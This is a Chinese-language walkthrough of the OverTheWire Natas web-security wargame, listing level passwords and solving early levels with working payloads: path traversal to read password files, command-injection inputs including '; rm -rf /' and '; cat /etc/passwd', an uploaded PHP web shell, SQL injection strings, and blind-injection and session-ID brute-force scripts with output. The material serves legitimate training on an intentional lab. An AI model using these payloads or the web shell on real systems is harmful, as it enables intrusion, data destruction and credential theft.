Overthewire :natas Level0~34 完整版
Natas 是一个初学者学习Web 安全的网站。建议网络安全、信息安全相关专业的Web选手进行选择性阅读或学习。详细参考:https://overthewire.org/wargames/natas/
声明:阅读过程中如遇到相关工具的问题,建议先阅读致谢的预备工作部分。
| 关卡 | 密码 | tag/vital |
|---|---|---|
| natas0 | natas0 | 源码 |
| natas1 | 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq | 禁用右键 |
| natas2 | TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI | 文件目录 |
| natas3 | 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH | robots |
| natas4 | QryZXc2e0zahULdHrtHxzyYkj59kUxLQ | Referer |
| natas5 | 0n35PkggAPm2zbEpOU802c0x0Msn1ToK | Cookie |
| natas6 | 0RoJwHdSKWFTYR5WuiAewauSuNaBXned | include |
| natas7 | bmg8SvU1LizuWjx3y7xkNERkHxGre0GS | 路径穿越 |
| natas8 | xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q | 简易加解密 |
| natas9 | ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t | grep,passthru |
| natas10 | t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu | preg_match |
| natas11 | UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk | 流密码,xor |
| natas12 | yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB | 文件上传,rce |
| natas13 | trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC | 同上 |
| natas14 | z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ | sql注入 |
| natas15 | SdqIqBsFcz3yotlNYErZSZwblkm0lrvx | sql注入布尔盲注 |
| natas16 | hPkjKYviLQctEW33QmuXL6eDVfMW4sGo | sql注入模糊匹配,爆破 |
| natas17 | EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC | SQL注入时间盲注 |
| natas18 | 6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ | PHPSESSID1,会话劫持 |
| natas19 | tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr | PHPSESSID2,会话劫持 |
| natas20 | p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw | PHPSESSID3,会话劫持 |
| natas21 | BPhv63cKE1lkQl04cE5CuFTzXe15NfiH | PHPSESSID4,会话劫持 |
| natas22 | d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz | PHPSESSID5,会话劫持 |
| natas23 | dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs | strstr,php |
| natas24 | MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd | strcmp,数组绕过 |
| natas25 | ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws | |
| natas26 | cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE | |
| natas27 | u3RRffXjysjgwFU6b9xa23i6prmUsYne | mysqli的varchar |
| natas28 | 1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj | 加解密,爆破(稍难) |
| natas29 | 31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns | Perl |
| natas30 | WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH | Perl |
| natas31 | m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0y | Perl |
| natas32 | NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0B | Perl |
| natas33 | shu5ouSu6eicielahhae0mohd4ui5uig | |
| natas34 |
natas0
右键,查看源码,0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq

natas1
被禁用右键,ctrl-u。TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI

natas2

files/pixel.png查看无效。返回上级目录查看。

查看users.txt,3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
eve:zo4mJWyNj2
mallory:9urtcpzBmH
natas3
源代码中有这么一句话,
<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>
联想到robots协议,它允许一部分爬取,一部分禁止爬取。
构造payloadhttp://natas3.natas.labs.overthewire.org/robots.txt。robots.txt中的内容:
- User-agent: * 使规则适用于所有爬虫。
- Disallow: /s3cr3t/ 禁止爬虫访问 s3cr3t 目录。
访问http://natas3.natas.labs.overthewire.org/s3cr3t/,只有users.txt文件。于是,
http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt,得到natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ。
natas4
将Referer改为:
方法1:hackbar,0n35PkggAPm2zbEpOU802c0x0Msn1ToK

方法2:request,0n35PkggAPm2zbEpOU802c0x0Msn1ToK

源码
import requests
url = "http://natas4.natas.labs.overthewire.org/"
username = "natas4"
# 将以下密码替换为实际获取的natas4密码
password = "QryZXc2e0zahULdHrtHxzyYkj59kUxLQ"
# 必须设置Referer为natas5的URL
headers = {
"Referer": "http://natas5.natas.labs.overthewire.org/"
}
response = requests.get(
url,
auth=requests.auth.HTTPBasicAuth(username, password),
headers=headers
)
# 发送 GET 请求,进行基本认证,并带上自定义的 Referer 请求头,等同于 response = #requests.get(url, auth=(username, password), headers=headers)
# 提取密码(根据实际页面结构解析)
if response.status_code == 200:
print("响应内容:")
print(response.text)
# 通常密码在页面注释或特定字段中,需根据实际内容提取
else:
print("请求失败,状态码:", response.status_code)

natas5
登陆后显示Access disallowed. You are not logged in。
登陆标识一般是由Cookie控制的。
1. 什么是 Cookie?
- Cookie 是存储在用户浏览器中的小文件,用于保存用户的浏览器活动信息,比如偏好设置、登录状态等。
- 它们由服务器发送并保存在客户端(浏览器)中,然后在每次请求时发送回服务器。
2. Cookie 的工作原理
- 当用户访问网站时,服务器可以向浏览器发送一个或多个 Cookie。
- 浏览器将这些 Cookie 存储在本地(通常为文本文件)。
- 每次用户访问该网站时,浏览器会自动将存储的 Cookie 发送回服务器,以便服务器知道用户的身份或其他信息。
方法1:开发者模式

方法2:python脚本,0RoJwHdSKWFTYR5WuiAewauSuNaBXned

import requests
url = "http://natas5.natas.labs.overthewire.org/"
username = "natas5"
password = "ORoJwHdSKWFTYRSWuiAewauSuNaBXned" # 替换为实际natas5密码
# 手动设置Cookie中的loggedin值为1
cookies = {
"loggedin": "1"
}
response = requests.get(url, auth=(username, password), cookies=cookies)
# 提取密码(根据页面结构解析)
if response.status_code == 200:
print("响应内容:")
print(response.text)
# 密码通常在页面源码的注释或特定标签中,例如:
# 使用正则提取:Access granted. The password for natas6 is (\w+)
else:
print(f"请求失败,状态码:{response.status_code}")
natas6
代码审计,引入一个外部文件 secret.inc,如果用户提交的post请求与$secret变量相等,就能获取下一关的密码。

漏洞复现:
- 这里引入的外部文件
secret.inc,可能包含敏感信息(例如密码或密钥)。
- 建议:使用绝对路径或相对路径的方式来确保文件存在,避免出现路径遍历漏洞(例如
../../includes/secret.inc)。
$_POST['secret']是从用户输入中获取的值,而没有进行任何验证或过滤,直接将其与$secret进行比较。这种做法存在风险,尤其是用户输入的数据没有经过消毒处理。若没有正确验证,攻击者可能利用此漏洞进行 跨站脚本攻击(XSS) 或 SQL 注入(假如$secret被传入数据库查询时)。
- 建议:
- 进行 输入验证 和 过滤,确保
$_POST['secret']只包含预期的安全字符。 - 例如,使用
htmlspecialchars来避免 XSS 漏洞:
$secret_input = htmlspecialchars($_POST['secret'], ENT_QUOTES, 'UTF-8');
if ($secret == $secret_input) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
构造payload http://natas6.natas.labs.overthewire.org/includes/secret.inc
看到
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
输入框输入secret的值,bmg8SvU1LizuWjx3y7xkNERkHxGre0GS。

natas7
F12查看到,

说密码在那个路径下,直接访问不行。所以想到目录遍历漏洞,构造payload
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../../../../../../../../../.././../../../../../../../../../../../../../../../etc/natas_webpass/natas8
得到xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q。
或者上python脚本
import requests
# 目标URL和认证信息
url = "http://natas7.natas.labs.overthewire.org/index.php"
username = "natas7"
password = "bmg8SvU1LizuWjx3y7xkNERkHxGre0GS"
# 构造路径遍历Payload读取natas8的密码文件
params = {
"page": "../../../../../../../../../../../../../../../../../../../../../etc/natas_webpass/natas8"
}
# 发送GET请求
response = requests.get(url, auth=(username, password), params=params)
# 提取密码
if response.status_code == 200:
# 密码通常直接显示在页面内容中
print("响应内容:")
print(response.text)
else:
print(f"请求失败,状态码:{response.status_code}")
natas8
审计代码

一个encodeSecret函数,和一个encodedSecret变量。如果传入的secret的值经过简单的base64,字符串反转,2进制转16进制后,所得的值与设定的encodedSecret的变量值相等,就会得到natas9的密码。那么,如何构造这样一个值呢?反过来就行。
漏洞复现:
建议:
- secret的处理只是简单的编码,建议使用安全的密码算法,如 密码哈希 和 盐值(salt)。例如,可以使用
password_hash和password_verify函数来处理密码。
import base64
# 单行解密
decrypted = base64.b64decode(bytes.fromhex("3d3d516343746d4d6d6c315669563362")[::-1]).decode('utf-8')
print(f"解密结果: {decrypted}") # 输出: oubWYf2kBq
运行脚本后,得到oubWYf2kBq。提交凭证,会看到Access granted. The password for natas9 is ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t。
附:
可以用下方的代码验证
import base64
# 原始字符串
original = "secret"
print(f"原始字符串: {original}")
# 加密过程
encrypted = base64.b64encode(original.encode('utf-8')).hex()[::-1]
print(f"加密结果: {encrypted}") # 应得到 3d3d516343746d4d6d6c315669563362
# 解密过程
decrypted = base64.b64decode(bytes.fromhex("3d3d516343746d4d6d6c315669563362")[::-1]).decode('utf-8')
print(f"解密结果: {decrypted}") # 应得到 secret
natas9
审计代码,如果key的值存在,就会将needle请求的值赋给key。key的值不为空,就会执行passthru函数中的命令。

漏洞复现:
对key没有进行充分过滤,如;、|、&&、$(...),会引起命令注入漏洞。 比如,如果用户提供的 needle 是 ; rm -rf /,这将导致服务器上的所有文件被删除。输入 ; cat /etc/passwd,执行cat /etc/passwd后,会泄露系统用户信息。
建议:
限制 $key 的长度,或者仅允许字母和数字。使用正则表达式对输入进行限制:
if (preg_match('/^[a-zA-Z0-9]+$;/', $key)) {
passthru("grep -i $key dictionary.txt");
} else {
echo "Invalid input.";
}
使用 escapeshellarg() 来对用户输入进行转义,防止恶意命令的注入:
$key = escapeshellarg($_REQUEST['needle']);
passthru("grep -i $key dictionary.txt");
输入框输入;cat /etc/natas_webpass/natas10,t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu。

natas10
增加了对;| &的过滤,
<? $key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) { print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
国际站关于grep的用法。grep 作弊表 |grep 命令行指南
输入a cat /etc/natas_webpass/natas11,后台会执行grep -i a cat /etc/natas_webpass/natas11 dictionary.txt。grep -i a dictionary.txt会在dictionary.txt中找到包含a和A的单词,cat /etc/natas_webpass/natas11会被grep当作另外一个文件,执行后得到密码UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk。

natas11
代码量明显增多,从后往前找。

$data[ ''showpassword" ]与字符串“yes”相等时,就会打印natas12的密码。
这里的$data有两个,一个是调用loadData,一个被传入某个请求。

loadData的初步分析。

PHP XOR 加密解密过程的 Mermaid 流程图描述:
同natas5一样,查看cookie的参数data,取出HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg%3D,
转成url码是HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg= 。
这里的url码就是saveData($data)经过加密后得来的,将其json加密,xor加密,base_64加密,就能得到新的cookie。
下面用到xor的性质,建议阅读 XOR 教程 。
我们用原来cookie的url码(密文)和默认文本$defaultdata(明文),xor解码后找到密钥 $key的加长版。判断 $key是 eDWo,将其与默认的 $yesdata文本三层加密后,得到的输出就是我们新的cookie(setcookie)。这个新的cookie,经过yes判断,就获取到natas12的密码。
<?php
$COOKIE = array("data"=>"HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg=");
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$yesdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = "eDWo";
$text = $in;
$outText = "";
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
//解码函数
function xor_decrypt($COOKIEDATA, $defaultdata) {
$key = '';
$text = base64_decode($COOKIEDATA);
$outText = json_encode($defaultdata);
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$key .= $text[$i] ^ $outText[$i % strlen($outText)];
}
return $key;
}
//解码获取key
echo xor_decrypt($COOKIE["data"], $defaultdata), "\n";
//验证key是否正确
echo base64_encode(xor_encrypt(json_encode($defaultdata))), "\n";
//生成新的cookie
echo base64_encode(xor_encrypt(json_encode($yesdata))), "\n";
/*输出结果
eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoe
HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg=
HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5
*/
?>
所以,用新的cookie 值HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5,修改参数data,刷新后,得到yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB。

总结:密钥重用流程
攻击原理:
1.固定密钥风险:使用固定密钥 "eDWo" 容易被逆向破解
2.已知明文攻击:攻击者通过已知数据结构可以提取密钥
此加密方案的核心在于XOR操作的可逆性:A ^ B = C 则 A = B ^ C,利用这一特性实现加解密。但由于使用固定密钥和已知数据结构,安全性较低。
natas12
打开界面,看界面就是文件上传,因此暂时不进行代码审计。
写入一句话木马,添加php后缀。
<?php
system($_GET['cmd']);
?>
上传一句话木马之后(需要关闭防火墙),反响是jpg被成功上传。我们想要php格式的文件能够成功执行。于是修改为php后缀,右键重放(Repeater),发送(Send)。

查看响应(Response),发现随机生成了一个php文件。

- 上传上图框住的php文件,查看网页。

警告syetem函数的参数cmd没有传参,导致无法执行命令。
-
拼接cmd=id,文件所有者,组用户都包含natas12。

-
接着拼接cmd=cat /etc/natas_webpass/natas13,

得到trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC。
最后,代码审计。

natas13
改写一句话木马。
GIF89a
<?php
system($_GET['cmd']);
?>
-
上传一句话木马index.php,Proxy抓包,显示

-
Repeater篡改,发送

-
传
http://natas13.natas.labs.overthewire.org/upload/vdte8q3rgm.php

-
传
http://natas13.natas.labs.overthewire.org/upload/vdte8q3rgm.php?cmd=cat%20/etc/natas_webpass/natas13

得z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ。
审计代码,与natas12相比,增加几个限制,实际情况①和②都不允许。

natas14
审计代码,典型的sql注入。

hackbar添加post请求。

相当于SELECT * from users where username="" OR 1=1 #&password=,#后面的被注释。前面必有一结果为真,因而成功执行。或者万能密码admin " OR "1"="1,后面password部分必为真,而管理员用户肯定包含admin。所以,得到SdqIqBsFcz3yotlNYErZSZwblkm0lrvx。
natas15
查看前端和源码,前端会有两种相反的返回值(TURE,FLASE),大致判断是盲注。

布尔盲注的特点是输入相反的SQL语句时,前端会返回不同的结果。这一关的目的是寻找已存在的用户名(natas16)及匹配的密码。因而用模糊匹配写python脚本,这里核心部分参考natas15| Blog。
布尔盲注攻击流程 Mermaid 描述:
import requests
url = 'http://natas15.natas.labs.overthewire.org/index.php'
username = 'natas15'
password = 'SdqIqBsFcz3yotlNYErZSZwblkm0lrvx'
key = ''
def main():
key = ''
for i in range(0,32):
for __ in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~@!#{}$%^,&*()_+-":
#substr(... , {i+1}, 1):提取密码的第 i+1 个字符。这里与range(0,32)的从零开始对应
#BINARY "{char}":区分大小写的字符比较
# #:注释掉原始查询的剩余部分
data = {'username': f'natas16" and substr((SELECT password FROM users WHERE `username`= "natas16"), {i+1}, 1) = BINARY "{__}" #'}
#可以替换成参考的payload: data = {'username': 'natas16" and substr((SELECT password FROM users WHERE `username`= "natas16"),'+str(i+1)+',1)= BINARY "' + __ + '" #'}
print("Now is trying: " + key + __, end = '\r')
response = requests.post(url,data=data,auth=(username,password))
#print(response.text)
if "exists" in response.text:
key = key + __
break
print("[+] NextPassword:" + key)
if __name__ == "__main__":
main()
运行结果如下:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo

防范建议:
natas16
框框里面是过滤的字符,不包括斜杠( / )。

可以利用没有过滤$的特点编写脚本,

注意url + data才是我们需要的payload。
得到EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC。

natas17
请求成功,页面无回显,看样子是时间盲注(timeout)。

这里的注释印证了上述说法。

时间盲注原理:
编写脚本,修改data,需要sleep函数来反应,否则难以得到结果。
这里调脚本调了好久/(ㄒoㄒ)/~~ ,主要是data的构造和脚本运行时长很长的原因。
最后,对payload的解释。
payload的解释
1. password like binary '{key}{char}%':检查密码是否以当前已猜测部分 + 当前字符开头
2. sleep(3):如果条件成立,则使数据库睡眠3秒
3. # :注释掉原始查询的剩余部分

结果如下:6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ。

natas18
审计代码:
<?php
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
<p>
Please login with your admin account to retrieve credentials for natas19.
</p>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php }
?>
大致情况如下:

简单来说,攻击者需要一个非法的PHPSESSID种子(cookie),用管理员admin登录(session),绕过服务端的检查。攻击者就能显示客户端natas19的密码。
尝试随便输入点什么,果然看到PHPSESSID!

这个思路应该没错,继续编写脚本。

结果太长,不截图,以折叠代码的形式出现。
点击查看代码
运行结果
[+] PHPSESSID= 0nd PHPSESSID......: 0
[+] PHPSESSID= 1nd PHPSESSID......: 1
[+] PHPSESSID= 2nd PHPSESSID......: 2
[+] PHPSESSID= 3nd PHPSESSID......: 3
[+] PHPSESSID= 4nd PHPSESSID......: 4
[+] PHPSESSID= 5nd PHPSESSID......: 5
[+] PHPSESSID= 6nd PHPSESSID......: 6
[+] PHPSESSID= 7nd PHPSESSID......: 7
[+] PHPSESSID= 8nd PHPSESSID......: 8
[+] PHPSESSID= 9nd PHPSESSID......: 9
[+] PHPSESSID= 10d PHPSESSID......: 10
[+] PHPSESSID= 11d PHPSESSID......: 11
[+] PHPSESSID= 12d PHPSESSID......: 12
[+] PHPSESSID= 13d PHPSESSID......: 13
[+] PHPSESSID= 14d PHPSESSID......: 14
[+] PHPSESSID= 15d PHPSESSID......: 15
[+] PHPSESSID= 16d PHPSESSID......: 16
[+] PHPSESSID= 17d PHPSESSID......: 17
[+] PHPSESSID= 18d PHPSESSID......: 18
[+] PHPSESSID= 19d PHPSESSID......: 19
[+] PHPSESSID= 20d PHPSESSID......: 20
[+] PHPSESSID= 21d PHPSESSID......: 21
[+] PHPSESSID= 22d PHPSESSID......: 22
[+] PHPSESSID= 23d PHPSESSID......: 23
[+] PHPSESSID= 24d PHPSESSID......: 24
[+] PHPSESSID= 25d PHPSESSID......: 25
[+] PHPSESSID= 26d PHPSESSID......: 26
[+] PHPSESSID= 27d PHPSESSID......: 27
[+] PHPSESSID= 28d PHPSESSID......: 28
[+] PHPSESSID= 29d PHPSESSID......: 29
[+] PHPSESSID= 30d PHPSESSID......: 30
[+] PHPSESSID= 31d PHPSESSID......: 31
[+] PHPSESSID= 32d PHPSESSID......: 32
[+] PHPSESSID= 33d PHPSESSID......: 33
[+] PHPSESSID= 34d PHPSESSID......: 34
[+] PHPSESSID= 35d PHPSESSID......: 35
[+] PHPSESSID= 36d PHPSESSID......: 36
[+] PHPSESSID= 37d PHPSESSID......: 37
[+] PHPSESSID= 38d PHPSESSID......: 38
[+] PHPSESSID= 39d PHPSESSID......: 39
[+] PHPSESSID= 40d PHPSESSID......: 40
[+] PHPSESSID= 41d PHPSESSID......: 41
[+] PHPSESSID= 42d PHPSESSID......: 42
[+] PHPSESSID= 43d PHPSESSID......: 43
[+] PHPSESSID= 44d PHPSESSID......: 44
[+] PHPSESSID= 45d PHPSESSID......: 45
[+] PHPSESSID= 46d PHPSESSID......: 46
[+] PHPSESSID= 47d PHPSESSID......: 47
[+] PHPSESSID= 48d PHPSESSID......: 48
[+] PHPSESSID= 49d PHPSESSID......: 49
[+] PHPSESSID= 50d PHPSESSID......: 50
[+] PHPSESSID= 51d PHPSESSID......: 51
[+] PHPSESSID= 52d PHPSESSID......: 52
[+] PHPSESSID= 53d PHPSESSID......: 53
[+] PHPSESSID= 54d PHPSESSID......: 54
[+] PHPSESSID= 55d PHPSESSID......: 55
[+] PHPSESSID= 56d PHPSESSID......: 56
[+] PHPSESSID= 57d PHPSESSID......: 57
[+] PHPSESSID= 58d PHPSESSID......: 58
[+] PHPSESSID= 59d PHPSESSID......: 59
[+] PHPSESSID= 60d PHPSESSID......: 60
[+] PHPSESSID= 61d PHPSESSID......: 61
[+] PHPSESSID= 62d PHPSESSID......: 62
[+] PHPSESSID= 63d PHPSESSID......: 63
[+] PHPSESSID= 64d PHPSESSID......: 64
[+] PHPSESSID= 65d PHPSESSID......: 65
[+] PHPSESSID= 66d PHPSESSID......: 66
[+] PHPSESSID= 67d PHPSESSID......: 67
[+] PHPSESSID= 68d PHPSESSID......: 68
[+] PHPSESSID= 69d PHPSESSID......: 69
[+] PHPSESSID= 70d PHPSESSID......: 70
[+] PHPSESSID= 71d PHPSESSID......: 71
[+] PHPSESSID= 72d PHPSESSID......: 72
[+] PHPSESSID= 73d PHPSESSID......: 73
[+] PHPSESSID= 74d PHPSESSID......: 74
[+] PHPSESSID= 75d PHPSESSID......: 75
[+] PHPSESSID= 76d PHPSESSID......: 76
[+] PHPSESSID= 77d PHPSESSID......: 77
[+] PHPSESSID= 78d PHPSESSID......: 78
[+] PHPSESSID= 79d PHPSESSID......: 79
[+] PHPSESSID= 80d PHPSESSID......: 80
[+] PHPSESSID= 81d PHPSESSID......: 81
[+] PHPSESSID= 82d PHPSESSID......: 82
[+] PHPSESSID= 83d PHPSESSID......: 83
[+] PHPSESSID= 84d PHPSESSID......: 84
[+] PHPSESSID= 85d PHPSESSID......: 85
[+] PHPSESSID= 86d PHPSESSID......: 86
[+] PHPSESSID= 87d PHPSESSID......: 87
[+] PHPSESSID= 88d PHPSESSID......: 88
[+] PHPSESSID= 89d PHPSESSID......: 89
[+] PHPSESSID= 90d PHPSESSID......: 90
[+] PHPSESSID= 91d PHPSESSID......: 91
[+] PHPSESSID= 92d PHPSESSID......: 92
[+] PHPSESSID= 93d PHPSESSID......: 93
[+] PHPSESSID= 94d PHPSESSID......: 94
[+] PHPSESSID= 95d PHPSESSID......: 95
[+] PHPSESSID= 96d PHPSESSID......: 96
[+] PHPSESSID= 97d PHPSESSID......: 97
[+] PHPSESSID= 98d PHPSESSID......: 98
[+] PHPSESSID= 99d PHPSESSID......: 99
[+] PHPSESSID= 100 PHPSESSID......: 100
[+] PHPSESSID= 101 PHPSESSID......: 101
[+] PHPSESSID= 102 PHPSESSID......: 102
[+] PHPSESSID= 103 PHPSESSID......: 103
[+] PHPSESSID= 104 PHPSESSID......: 104
[+] PHPSESSID= 105 PHPSESSID......: 105
[+] PHPSESSID= 106 PHPSESSID......: 106
[+] PHPSESSID= 107 PHPSESSID......: 107
[+] PHPSESSID= 108 PHPSESSID......: 108
[+] PHPSESSID= 109 PHPSESSID......: 109
[+] PHPSESSID= 110 PHPSESSID......: 110
[+] PHPSESSID= 111 PHPSESSID......: 111
[+] PHPSESSID= 112 PHPSESSID......: 112
[+] PHPSESSID= 113 PHPSESSID......: 113
[+] PHPSESSID= 114 PHPSESSID......: 114
[+] PHPSESSID= 115 PHPSESSID......: 115
[+] PHPSESSID= 116 PHPSESSID......: 116
[+] PHPSESSID= 117 PHPSESSID......: 117
[+] PHPSESSID= 118 PHPSESSID......: 118
The PHPSESSID with correct password is: 119
提交正确的PHPSESSID后,你能够看到:
You are an admin. The credentials for the next level are:
Username: natas19
Password: tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr
natas19
虽然这关没有源码,但是可以推测跟上一关的源码逻辑是差不多的。唯一的区别就是哪里做了特殊判断或处理。
随便提交些啥。结果返回,
”You are logged in as a regular user. Login as an admin to retrieve credentials for natas20.“
观察到有d,因而需要转十六进制。当然,admin 需要先转成utf8。
[+] PHPSESSID= 0adminPSESSID......: 0admin
[+] PHPSESSID= 1adminPSESSID......: 1admin
[+] PHPSESSID= 2adminPSESSID......: 2admin

看来,这里就是跟上一贯的区别。加入了统一标识符?
cookie=dict(PHPSESSID=(str(_) + '-admin').encode('utf-8').hex()) 中,-admin 的作用是构造一个特定的会话 ID 格式,目的是攻击者通过会话伪造(Session Hijacking)或会话注入(Session Fixation)来模拟管理员权限,绕过服务端的检查。
-admin是由PHPSESSID解码后得到的统一标识符(上一关卡的脚本运行后得到的PHPSESSID的共同特征)。

运行结果:
点击查看代码
运行结果
[+] PHPSESSID= 302d61646d696e.....: 302d61646d696e
[+] PHPSESSID= 312d61646d696e.....: 312d61646d696e
[+] PHPSESSID= 322d61646d696e.....: 322d61646d696e
[+] PHPSESSID= 332d61646d696e.....: 332d61646d696e
[+] PHPSESSID= 342d61646d696e.....: 342d61646d696e
[+] PHPSESSID= 352d61646d696e.....: 352d61646d696e
[+] PHPSESSID= 362d61646d696e.....: 362d61646d696e
[+] PHPSESSID= 372d61646d696e.....: 372d61646d696e
[+] PHPSESSID= 382d61646d696e.....: 382d61646d696e
[+] PHPSESSID= 392d61646d696e.....: 392d61646d696e
[+] PHPSESSID= 31302d61646d696e...: 31302d61646d696e
[+] PHPSESSID= 31312d61646d696e...: 31312d61646d696e
[+] PHPSESSID= 31322d61646d696e...: 31322d61646d696e
[+] PHPSESSID= 31332d61646d696e...: 31332d61646d696e
[+] PHPSESSID= 31342d61646d696e...: 31342d61646d696e
[+] PHPSESSID= 31352d61646d696e...: 31352d61646d696e
[+] PHPSESSID= 31362d61646d696e...: 31362d61646d696e
[+] PHPSESSID= 31372d61646d696e...: 31372d61646d696e
[+] PHPSESSID= 31382d61646d696e...: 31382d61646d696e
[+] PHPSESSID= 31392d61646d696e...: 31392d61646d696e
[+] PHPSESSID= 32302d61646d696e...: 32302d61646d696e
[+] PHPSESSID= 32312d61646d696e...: 32312d61646d696e
[+] PHPSESSID= 32322d61646d696e...: 32322d61646d696e
[+] PHPSESSID= 32332d61646d696e...: 32332d61646d696e
[+] PHPSESSID= 32342d61646d696e...: 32342d61646d696e
[+] PHPSESSID= 32352d61646d696e...: 32352d61646d696e
[+] PHPSESSID= 32362d61646d696e...: 32362d61646d696e
[+] PHPSESSID= 32372d61646d696e...: 32372d61646d696e
[+] PHPSESSID= 32382d61646d696e...: 32382d61646d696e
[+] PHPSESSID= 32392d61646d696e...: 32392d61646d696e
[+] PHPSESSID= 33302d61646d696e...: 33302d61646d696e
[+] PHPSESSID= 33312d61646d696e...: 33312d61646d696e
[+] PHPSESSID= 33322d61646d696e...: 33322d61646d696e
[+] PHPSESSID= 33332d61646d696e...: 33332d61646d696e
[+] PHPSESSID= 33342d61646d696e...: 33342d61646d696e
[+] PHPSESSID= 33352d61646d696e...: 33352d61646d696e
[+] PHPSESSID= 33362d61646d696e...: 33362d61646d696e
[+] PHPSESSID= 33372d61646d696e...: 33372d61646d696e
[+] PHPSESSID= 33382d61646d696e...: 33382d61646d696e
[+] PHPSESSID= 33392d61646d696e...: 33392d61646d696e
[+] PHPSESSID= 34302d61646d696e...: 34302d61646d696e
[+] PHPSESSID= 34312d61646d696e...: 34312d61646d696e
[+] PHPSESSID= 34322d61646d696e...: 34322d61646d696e
[+] PHPSESSID= 34332d61646d696e...: 34332d61646d696e
[+] PHPSESSID= 34342d61646d696e...: 34342d61646d696e
